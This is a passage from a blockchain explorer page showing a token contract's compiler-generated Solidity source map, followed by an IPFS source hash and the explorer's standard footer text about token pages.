21:0;;;;27912:459;;;-1:-1:-1;;;;;27969:35:0;;;;;;:29;:35;;;;;;;;27968:36;:92;;;;-1:-1:-1;;;;;;28027:33:0;;;;;;:29;:33;;;;;;;;28026:34;27968:92;:132;;;;-1:-1:-1;28087:13:0;;-1:-1:-1;;;;;28081:19:0;;;28087:13;;28081:19;;27968:132;27964:396;;;-1:-1:-1;;;;;11626:18:0;;28135:15;11626:18;;;;;;;;;;;28236:15;;28216:16;28226:6;11626:18;28216:16;:::i;:::-;:35;;28186:158;;;;-1:-1:-1;;;28186:158:0;;18044:2:1;28186:158:0;;;18026:21:1;18083:2;18063:18;;;18056:30;18122:34;18102:18;;;18095:62;-1:-1:-1;;;18173:18:1;;;18166:46;18229:19;;28186:158:0;17842:412:1;28186:158:0;28116:244;27964:396;28383:33;28399:4;28405:2;28409:6;28383:15;:33::i;:::-;22556:5868;;;22478:5946;;;:::o;9078:266::-;9157:4;9206:6;9181:21;:31;;9173:73;;;;-1:-1:-1;;;9173:73:0;;18461:2:1;9173:73:0;;;18443:21:1;18500:2;18480:18;;;18473:30;18539:31;18519:18;;;18512:59;18588:18;;9173:73:0;18259:353:1;9173:73:0;9260:12;9278:9;-1:-1:-1;;;;;9278:14:0;9300:6;9278:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9259:52:0;;9078:266;-1:-1:-1;;;;;9078:266:0:o;13404:733::-;-1:-1:-1;;;;;13544:20:0;;13536:70;;;;-1:-1:-1;;;13536:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13625:23:0;;13617:71;;;;-1:-1:-1;;;13617:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13785:17:0;;13761:21;13785:17;;;;;;;;;;;13821:23;;;;13813:74;;;;-1:-1:-1;;;13813:74:0;;19029:2:1;13813:74:0;;;19011:21:1;19068:2;19048:18;;;19041:30;19107:34;19087:18;;;19080:62;-1:-1:-1;;;19158:18:1;;;19151:36;19204:19;;13813:74:0;18827:402:1;13813:74:0;-1:-1:-1;;;;;13923:17:0;;;:9;:17;;;;;;;;;;;13943:22;;;13923:42;;13987:20;;;;;;;;:30;;13959:6;;13923:9;13987:30;;13959:6;;13987:30;:::i;:::-;;;;;;;;14052:9;-1:-1:-1;;;;;14035:35:0;14044:6;-1:-1:-1;;;;;14035:35:0;;14063:6;14035:35;;;;160:25:1;;148:2;133:18;;14:177;14035:35:0;;;;;;;;14083:46;22478:5946;31603:253;31716:7;;31687:4;;-1:-1:-1;;;;;31716:7:0;31704:47;;-1:-1:-1;31747:4:0;31740:11;;31704:47;31773:7;;31766:46;;-1:-1:-1;;;31766:46:0;;-1:-1:-1;;;;;19492:15:1;;;31766:46:0;;;19474:34:1;19544:15;;;19524:18;;;19517:43;19576:18;;;19569:34;;;31773:7:0;;;;31766:28;;19409:18:1;;31766:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;31762:63;;;-1:-1:-1;31821:4:0;31814:11;;31762:63;-1:-1:-1;31843:5:0;31603:253;;;;;:::o;28931:876::-;28990:12;29005:10;29014:1;29005:6;:10;:::i;:::-;28990:25;-1:-1:-1;29026:17:0;29046:13;28990:25;29046:6;:13;:::i;:::-;29155:16;;;29169:1;29155:16;;;;;;;;29026:33;;-1:-1:-1;29097:21:0;;29072:22;;29155:16;;;;;;;;;;-1:-1:-1;29155:16:0;29131:40;;29200:4;29182;29187:1;29182:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;29182:23:0;;;:7;;;;;;;;;;:23;;;;29226:15;;:22;;;-1:-1:-1;;;29226:22:0;;;;:15;;;;;:20;;:22;;;;;29182:7;;29226:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;29216:4;29221:1;29216:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;29216:32:0;;;:7;;;;;;;;;:32;29261:15;;:179;;-1:-1:-1;;;29261:179:0;;:15;;;:66;;:179;;29342:4;;29261:15;;29377:4;;29404;;29424:15;;29261:179;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29461:18;29506:14;29482:21;:38;;;;:::i;:::-;29533:15;;:205;;-1:-1:-1;;;29533:205:0;;29606:4;29533:205;;;21460:34:1;21510:18;;;21503:34;;;29533:15:0;21553:18:1;;;21546:34;;;21596:18;;;21589:34;29690:6:0;21639:19:1;;;21632:44;29712:15:0;21692:19:1;;;21685:35;29461:59:0;;-1:-1:-1;;;;;;29533:15:0;;:31;;29461:59;;21394:19:1;;29533:205:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;29756:43:0;;;22244:25:1;;;22300:2;22285:18;;22278:34;;;22328:18;;;22321:34;;;29756:43:0;;-1:-1:-1;22232:2:1;22217:18;29756:43:0;;;;;;;28979:828;;;;;28931:876;:::o;29815:647::-;29968:16;;;29982:1;29968:16;;;;;;;;29910:21;;29885:22;;29968:16;29982:1;29968:16;;;;;;;;;;-1:-1:-1;29968:16:0;29944:40;;30013:4;29995;30000:1;29995:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;29995:23:0;;;:7;;;;;;;;;;:23;;;;30039:15;;:22;;;-1:-1:-1;;;30039:22:0;;;;:15;;;;;:20;;:22;;;;;29995:7;;30039:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;30029:4;30034:1;30029:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;30029:32:0;;;:7;;;;;;;;;:32;30074:15;;:186;;-1:-1:-1;;;30074:186:0;;:15;;;:66;;:186;;30155:11;;30074:15;;30197:4;;30224;;30244:15;;30074:186;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30273:18;30318:14;30294:21;:38;;;;:::i;:::-;30353:15;;30273:59;;-1:-1:-1;30345:46:0;;-1:-1:-1;;;;;30353:15:0;30273:59;30345:34;:46::i;:::-;-1:-1:-1;30409:45:0;;;5582:25:1;;;5638:2;5623:18;;5616:34;;;30409:45:0;;5555:18:1;30409:45:0;;;;;;;29874:588;;;29815:647;:::o;196:248:1:-;264:6;272;325:2;313:9;304:7;300:23;296:32;293:52;;;341:1;338;331:12;293:52;-1:-1:-1;;364:23:1;;;434:2;419:18;;;406:32;;-1:-1:-1;196:248:1:o;449:597::-;561:4;590:2;619;608:9;601:21;651:6;645:13;694:6;689:2;678:9;674:18;667:34;719:1;729:140;743:6;740:1;737:13;729:140;;;838:14;;;834:23;;828:30;804:17;;;823:2;800:26;793:66;758:10;;729:140;;;887:6;884:1;881:13;878:91;;;957:1;952:2;943:6;932:9;928:22;924:31;917:42;878:91;-1:-1:-1;1030:2:1;1009:15;-1:-1:-1;;1005:29:1;990:45;;;;1037:2;986:54;;449:597;-1:-1:-1;;;449:597:1:o;1051:131::-;-1:-1:-1;;;;;1126:31:1;;1116:42;;1106:70;;1172:1;1169;1162:12;1187:315;1255:6;1263;1316:2;1304:9;1295:7;1291:23;1287:32;1284:52;;;1332:1;1329;1322:12;1284:52;1371:9;1358:23;1390:31;1415:5;1390:31;:::i;:::-;1440:5;1492:2;1477:18;;;;1464:32;;-1:-1:-1;;;1187:315:1:o;1933:247::-;1992:6;2045:2;2033:9;2024:7;2020:23;2016:32;2013:52;;;2061:1;2058;2051:12;2013:52;2100:9;2087:23;2119:31;2144:5;2119:31;:::i;2185:456::-;2262:6;2270;2278;2331:2;2319:9;2310:7;2306:23;2302:32;2299:52;;;2347:1;2344;2337:12;2299:52;2386:9;2373:23;2405:31;2430:5;2405:31;:::i;:::-;2455:5;-1:-1:-1;2512:2:1;2497:18;;2484:32;2525:33;2484:32;2525:33;:::i;:::-;2185:456;;2577:7;;-1:-1:-1;;;2631:2:1;2616:18;;;;2603:32;;2185:456::o;2646:180::-;2705:6;2758:2;2746:9;2737:7;2733:23;2729:32;2726:52;;;2774:1;2771;2764:12;2726:52;-1:-1:-1;2797:23:1;;2646:180;-1:-1:-1;2646:180:1:o;2831:118::-;2917:5;2910:13;2903:21;2896:5;2893:32;2883:60;;2939:1;2936;2929:12;2954:241;3010:6;3063:2;3051:9;3042:7;3038:23;3034:32;3031:52;;;3079:1;3076;3069:12;3031:52;3118:9;3105:23;3137:28;3159:5;3137:28;:::i;3597:382::-;3662:6;3670;3723:2;3711:9;3702:7;3698:23;3694:32;3691:52;;;3739:1;3736;3729:12;3691:52;3778:9;3765:23;3797:31;3822:5;3797:31;:::i;:::-;3847:5;-1:-1:-1;3904:2:1;3889:18;;3876:32;3917:30;3876:32;3917:30;:::i;:::-;3966:7;3956:17;;;3597:382;;;;;:::o;3984:388::-;4052:6;4060;4113:2;4101:9;4092:7;4088:23;4084:32;4081:52;;;4129:1;4126;4119:12;4081:52;4168:9;4155:23;4187:31;4212:5;4187:31;:::i;:::-;4237:5;-1:-1:-1;4294:2:1;4279:18;;4266:32;4307:33;4266:32;4307:33;:::i;4377:356::-;4579:2;4561:21;;;4598:18;;;4591:30;4657:34;4652:2;4637:18;;4630:62;4724:2;4709:18;;4377:356::o;4738:127::-;4799:10;4794:3;4790:20;4787:1;4780:31;4830:4;4827:1;4820:15;4854:4;4851:1;4844:15;4870:128;4910:3;4941:1;4937:6;4934:1;4931:13;4928:39;;;4947:18;;:::i;:::-;-1:-1:-1;4983:9:1;;4870:128::o;5003:400::-;5205:2;5187:21;;;5244:2;5224:18;;;5217:30;5283:34;5278:2;5263:18;;5256:62;-1:-1:-1;;;5349:2:1;5334:18;;5327:34;5393:3;5378:19;;5003:400::o;5661:380::-;5740:1;5736:12;;;;5783;;;5804:61;;5858:4;5850:6;5846:17;5836:27;;5804:61;5911:2;5903:6;5900:14;5880:18;5877:38;5874:161;;;5957:10;5952:3;5948:20;5945:1;5938:31;5992:4;5989:1;5982:15;6020:4;6017:1;6010:15;5874:161;;5661:380;;;:::o;6455:422::-;6544:1;6587:5;6544:1;6601:270;6622:7;6612:8;6609:21;6601:270;;;6681:4;6677:1;6673:6;6669:17;6663:4;6660:27;6657:53;;;6690:18;;:::i;:::-;6740:7;6730:8;6726:22;6723:55;;;6760:16;;;;6723:55;6839:22;;;;6799:15;;;;6601:270;;;6605:3;6455:422;;;;;:::o;6882:806::-;6931:5;6961:8;6951:80;;-1:-1:-1;7002:1:1;7016:5;;6951:80;7050:4;7040:76;;-1:-1:-1;7087:1:1;7101:5;;7040:76;7132:4;7150:1;7145:59;;;;7218:1;7213:130;;;;7125:218;;7145:59;7175:1;7166:10;;7189:5;;;7213:130;7250:3;7240:8;7237:17;7234:43;;;7257:18;;:::i;:::-;-1:-1:-1;;7313:1:1;7299:16;;7328:5;;7125:218;;7427:2;7417:8;7414:16;7408:3;7402:4;7399:13;7395:36;7389:2;7379:8;7376:16;7371:2;7365:4;7362:12;7358:35;7355:77;7352:159;;;-1:-1:-1;7464:19:1;;;7496:5;;7352:159;7543:34;7568:8;7562:4;7543:34;:::i;:::-;7613:6;7609:1;7605:6;7601:19;7592:7;7589:32;7586:58;;;7624:18;;:::i;:::-;7662:20;;6882:806;-1:-1:-1;;;6882:806:1:o;7693:140::-;7751:5;7780:47;7821:4;7811:8;7807:19;7801:4;7780:47;:::i;7838:217::-;7878:1;7904;7894:132;;7948:10;7943:3;7939:20;7936:1;7929:31;7983:4;7980:1;7973:15;8011:4;8008:1;8001:15;7894:132;-1:-1:-1;8040:9:1;;7838:217::o;8474:168::-;8514:7;8580:1;8576;8572:6;8568:14;8565:1;8562:21;8557:1;8550:9;8543:17;8539:45;8536:71;;;8587:18;;:::i;:::-;-1:-1:-1;8627:9:1;;8474:168::o;9749:400::-;9951:2;9933:21;;;9990:2;9970:18;;;9963:30;10029:34;10024:2;10009:18;;10002:62;-1:-1:-1;;;10095:2:1;10080:18;;10073:34;10139:3;10124:19;;9749:400::o;14595:184::-;14665:6;14718:2;14706:9;14697:7;14693:23;14689:32;14686:52;;;14734:1;14731;14724:12;14686:52;-1:-1:-1;14757:16:1;;14595:184;-1:-1:-1;14595:184:1:o;15063:245::-;15130:6;15183:2;15171:9;15162:7;15158:23;15154:32;15151:52;;;15199:1;15196;15189:12;15151:52;15231:9;15225:16;15250:28;15272:5;15250:28;:::i;16121:401::-;16323:2;16305:21;;;16362:2;16342:18;;;16335:30;16401:34;16396:2;16381:18;;16374:62;-1:-1:-1;;;16467:2:1;16452:18;;16445:35;16512:3;16497:19;;16121:401::o;16527:399::-;16729:2;16711:21;;;16768:2;16748:18;;;16741:30;16807:34;16802:2;16787:18;;16780:62;-1:-1:-1;;;16873:2:1;16858:18;;16851:33;16916:3;16901:19;;16527:399::o;17284:423::-;17486:2;17468:21;;;17525:2;17505:18;;;17498:30;17564:34;17559:2;17544:18;;17537:62;17635:29;17630:2;17615:18;;17608:57;17697:3;17682:19;;17284:423::o;17712:125::-;17752:4;17780:1;17777;17774:8;17771:34;;;17785:18;;:::i;:::-;-1:-1:-1;17822:9:1;;17712:125::o;19746:127::-;19807:10;19802:3;19798:20;19795:1;19788:31;19838:4;19835:1;19828:15;19862:4;19859:1;19852:15;19878:251;19948:6;20001:2;19989:9;19980:7;19976:23;19972:32;19969:52;;;20017:1;20014;20007:12;19969:52;20049:9;20043:16;20068:31;20093:5;20068:31;:::i;20134:980::-;20396:4;20444:3;20433:9;20429:19;20475:6;20464:9;20457:25;20501:2;20539:6;20534:2;20523:9;20519:18;20512:34;20582:3;20577:2;20566:9;20562:18;20555:31;20606:6;20641;20635:13;20672:6;20664;20657:22;20710:3;20699:9;20695:19;20688:26;;20749:2;20741:6;20737:15;20723:29;;20770:1;20780:195;20794:6;20791:1;20788:13;20780:195;;;20859:13;;-1:-1:-1;;;;;20855:39:1;20843:52;;20950:15;;;;20915:12;;;;20891:1;20809:9;20780:195;;;-1:-1:-1;;;;;;;21031:32:1;;;;21026:2;21011:18;;21004:60;-1:-1:-1;;;21095:3:1;21080:19;21073:35;20992:3;20134:980;-1:-1:-1;;;20134:980:1:o;21731:306::-;21819:6;21827;21835;21888:2;21876:9;21867:7;21863:23;21859:32;21856:52;;;21904:1;21901;21894:12;21856:52;21933:9;21927:16;21917:26;;21983:2;21972:9;21968:18;21962:25;21952:35;;22027:2;22016:9;22012:18;22006:25;21996:35;;21731:306;;;;;:::o

Swarm Source

ipfs://b5effa7372ee74402e485994a2ba3571bd0f5f41eaddbd53e3178a89e5e3ab55
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.